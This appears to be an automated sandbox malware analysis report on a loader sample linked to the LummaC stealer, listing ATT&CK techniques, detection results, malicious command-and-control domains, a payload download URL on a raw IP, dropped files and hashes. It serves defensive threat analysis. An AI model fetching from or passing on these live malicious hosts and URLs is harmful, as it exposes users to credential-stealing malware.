Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	311 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	33 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	251 Security Software Discovery	Distributed Component Object Model	3 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	23 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	23 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
R3nz_Loader.exe	34%	ReversingLabs	Win32.Dropper.Genie
R3nz_Loader.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\gdi32.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://fancywaxxers.shop/YB	100%	Avira URL Cloud	malware
rabidcowse.shop	100%	Avira URL Cloud	malware
wholersorie.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api9Bd	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api_	100%	Avira URL Cloud	malware
fancywaxxers.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apiAB	100%	Avira URL Cloud	malware
cloudewahsj.shop	100%	Avira URL Cloud	malware
http://147.45.47.81/conhost.exe	0%	Avira URL Cloud	safe
https://fancywaxxers.shop/X	100%	Avira URL Cloud	malware
noisycuttej.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/int32	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api	100%	Avira URL Cloud	malware
framekgirus.shop	100%	Avira URL Cloud	malware
nearycrepso.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/n	100%	Avira URL Cloud	malware
abruptyopsn.shop	100%	Avira URL Cloud	malware
tirepublicerj.shop	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	104.21.32.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	true	Avira URL Cloud: malware	unknown
wholersorie.shop	true	Avira URL Cloud: malware	unknown
fancywaxxers.shop	true	Avira URL Cloud: malware	unknown
cloudewahsj.shop	true	Avira URL Cloud: malware	unknown
noisycuttej.shop	true	Avira URL Cloud: malware	unknown
nearycrepso.shop	true	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/api	true	Avira URL Cloud: malware	unknown
framekgirus.shop	true	Avira URL Cloud: malware	unknown
tirepublicerj.shop	true	Avira URL Cloud: malware	unknown
abruptyopsn.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api_	aspnet_regiis.exe, 00000003.00000003.2740892244.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002AFF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/X	aspnet_regiis.exe, 00000003.00000003.2063582512.0000000004F30000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2064491018.0000000004F34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/YB	aspnet_regiis.exe, 00000003.00000003.2053645205.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2065068299.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.47.81/conhost.exe	aspnet_regiis.exe, 00000003.00000003.2740892244.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3271562153.0000000002B0F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002B0A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002AFF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2141010359.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apiAB	aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api9Bd	aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/int32	aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/	aspnet_regiis.exe, 00000003.00000003.2100987956.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2053645205.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3271562153.0000000002B0F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002B0A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2101109857.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2141010359.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2101077815.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2065068299.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/n	aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.32.1	fancywaxxers.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582077
Start date and time:	2024-12-29 23:36:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	R3nz_Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/7@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 35 Number of non-executed functions: 61
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 20.190.160.20, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: R3nz_Loader.exe

Simulations

Behavior and APIs

Time	Type	Description
17:36:54	API Interceptor	8x Sleep call for process: aspnet_regiis.exe modified
17:37:14	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.32.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fancywaxxers.shop	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	BasesRow.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	104.26.13.205
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.0.151
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	EFT Payment_Transcript__Survitecgroup.html	Get hash	malicious	Unknown	Browse	104.18.26.193
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	Lets-x64.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	KL-3.1.16.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	Whyet-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	BasesRow.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.21.32.1
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.32.1
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	rfWu0dUz6A.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer, Xmrig	Browse	104.21.32.1
	gdi32.dll	Get hash	malicious	LummaC	Browse	104.21.32.1

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_R3nz_Loader.exe_bec9dbe1b9e61d8d1e53ea540fa1a964513b9dc_3ffa48ab_8809308f-a3f2-4ba9-9fed-4b6a65262092\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9915220411873568
Encrypted:	false
SSDEEP:	192:VOR2G+psXkd0BU/KaGtizuiFVZ24IO8qnf5:VfS0eBU/KaRzuiFVY4IO8qnf
MD5:	582C73688AD6120B54A0A15490D44491
SHA1:	86DE991BC7B118A29A6F1EA8F480A3B9B04BE2C5
SHA-256:	22B8D6486860A06E0B0684D4D70540AA7C39113AD190B5326CF459D4101578E8
SHA-512:	A5ECD95443D1E6FEE88705DB5E8731E282C4530185A5A4FCA1B7E81B6ADDF6BDDD236E568FE000D03EB8627C391850508DF9CF65FAC328F84FE2637913D09B9C
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.9.8.5.4.1.4.2.0.6.0.7.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.9.8.5.4.1.5.7.0.6.0.7.1.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.8.0.9.3.0.8.f.-.a.3.f.2.-.4.b.a.9.-.9.f.e.d.-.4.b.6.a.6.5.2.6.2.0.9.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.7.0.a.b.e.e.b.-.1.2.2.0.-.4.3.0.c.-.8.b.f.0.-.6.d.1.0.2.f.a.c.c.4.b.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.3.n.z._.L.o.a.d.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.X.e.n.i.a.H.a.r.v.e.y.K.a.i.t.l.y.n...p.d.f.k.W.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.7.c.-.0.0.0.1.-.0.0.1.4.-.e.c.8.7.-.7.d.2.8.4.2.5.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.a.2.d.5.0.4.e.f.6.2.b.7.2.7.2.1.a.a.b.3.7.1.a.4.7.5.3.f.b.0.9.0.0.0.0.0.0.0.0.!.0.0.0.0.a.7.d.a.0.b.b.d.e.6.2.1.a.7.d.f.3.4.8.9.b.3.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C4D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Dec 29 22:36:54 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	199358
Entropy (8bit):	3.3540321673380293
Encrypted:	false
SSDEEP:	1536:NRkOrXpN4uE2aO2oLTg/nI+OcGK/yCDwSeCq:NRhT4uEqZLTgvZOcjBwSZ
MD5:	EB370DF60B9F703129EA6D66425032F2
SHA1:	49CB1A6A4803AB3658ED4921BC13D1214AB327B6
SHA-256:	F6C0016BFDC41508E32BB32765651371054AFE58575EADE5EDE8554C804BBA81
SHA-512:	3F7B6E1C013D9C4A3E6E83B14678692A928D43C55FE05811229458CC436169E96EB8B3BCE0BC6F0416198242687D082F8469FC4501541693A827ECD619E05CEA
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........qg............D...............X.......$................J..........`.......8...........T...........00..............,............ ..............................................................................eJ....... ......GenuineIntel............T.......\|.....qg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D87.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8420
Entropy (8bit):	3.7043608808146935
Encrypted:	false
SSDEEP:	192:R6l7wVeJyk6HPT6YEIsSULrcGgmfZRY0prj89bSbsfX8Gm:R6lXJh6HPT6YEDSULAGgmffY1Sgf0
MD5:	CA53712F30600D7B9BF2DAAB56485E80
SHA1:	597D3117EBAAC0708A2F22636A9AF4FBCED75A68
SHA-256:	965953693DB98818DB8EBAF44386F73BF404E60D82B0A9EB089ED947FD29CF53
SHA-512:	4525BCEFF966C799C88D551A679F423671744CAE479132F1173B8230AE9A30B4241FA706AF86437FFF47DF5A17BC2CD73805A8FD5BB60921EC0748D8E31030A8
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.6.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E15.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	4.525371893539953
Encrypted:	false
SSDEEP:	48:cvIwWl8zsbJg77aI9zQWpW8VY+Ym8M4JB2FW7+q8vkUHV1v4dd:uIjf1I7Jp7V2JR7KJHV1v0d
MD5:	B2987132B120B907905FA11AEE242C93
SHA1:	A6F6868D8C23A7DE9434BE44329608AC3ED64D5A
SHA-256:	D6AE230A4E8A02DA4F55F7522F6FD248577A3C32285589D001F6F6579F319D40
SHA-512:	A8EDC5DD73860628853D5FB9BEACC547F12600658ECA64D96327EEF534624D78DBD5496EB110473F64026C6C8D3C017B112DA1ACE0337115B97824BBF1E4B1E7
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="653139" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Roaming\gdi32.dll

Download File

Process:	C:\Users\user\Desktop\R3nz_Loader.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	443392
Entropy (8bit):	7.128674977243316
Encrypted:	false
SSDEEP:	6144:+EQUaPo0tMBs/8d7+OUbY79SXh61wICBqrH9TmXCf5OthEVriynomZG:qPoY/srM+4o1w+LcXlExi4lZG
MD5:	747539CEFB1EF3C38AD756A2F5305097
SHA1:	6F5CE5B9D430931164E4B3E57DF4C98EA0F82C34
SHA-256:	05512CA3A16E8D0FB965DE8F20E9A9F0B046F3D3384D89D767C4D875182BDA3F
SHA-512:	4A9934BD7A2F8BFEC4DDFA0A7E9D24DBDFCEE864163804D9B3B726AB16209F1DE43A3CBD3E003531758C5C2A68AC21549C3A4DF7B6EE1E373D9A0DD8C1F209C6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]6...W...W...W...<...W...<..W...<...W...<...W..>....W...W..{W..K"...W..K"...W..K"...W...W...W..."...W..."...W..Rich.W..........PE..L.....qg...........!......................................................................@.............................\|.......P...................................\...............................x...@...............T............................text.............................. ..`.rdata...\.......^..................@..@.data..............................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421673815632608
Encrypted:	false
SSDEEP:	6144:lSvfpi6ceLP/9skLmb0OToWSPHaJG8nAgeMZMMhA2fX4WABlEnNi0uhiTw:svloToW+EZMM6DFy003w
MD5:	7D7FBE8A69395F920AEBE7ECB0E7677B
SHA1:	30B5A3BA9C05015EE4D4CFA78EA2EB442D898F40
SHA-256:	5BD44443F8ED2E008509ACE20BCA32BCEB158A164B43D855D358B3E289C5EC17
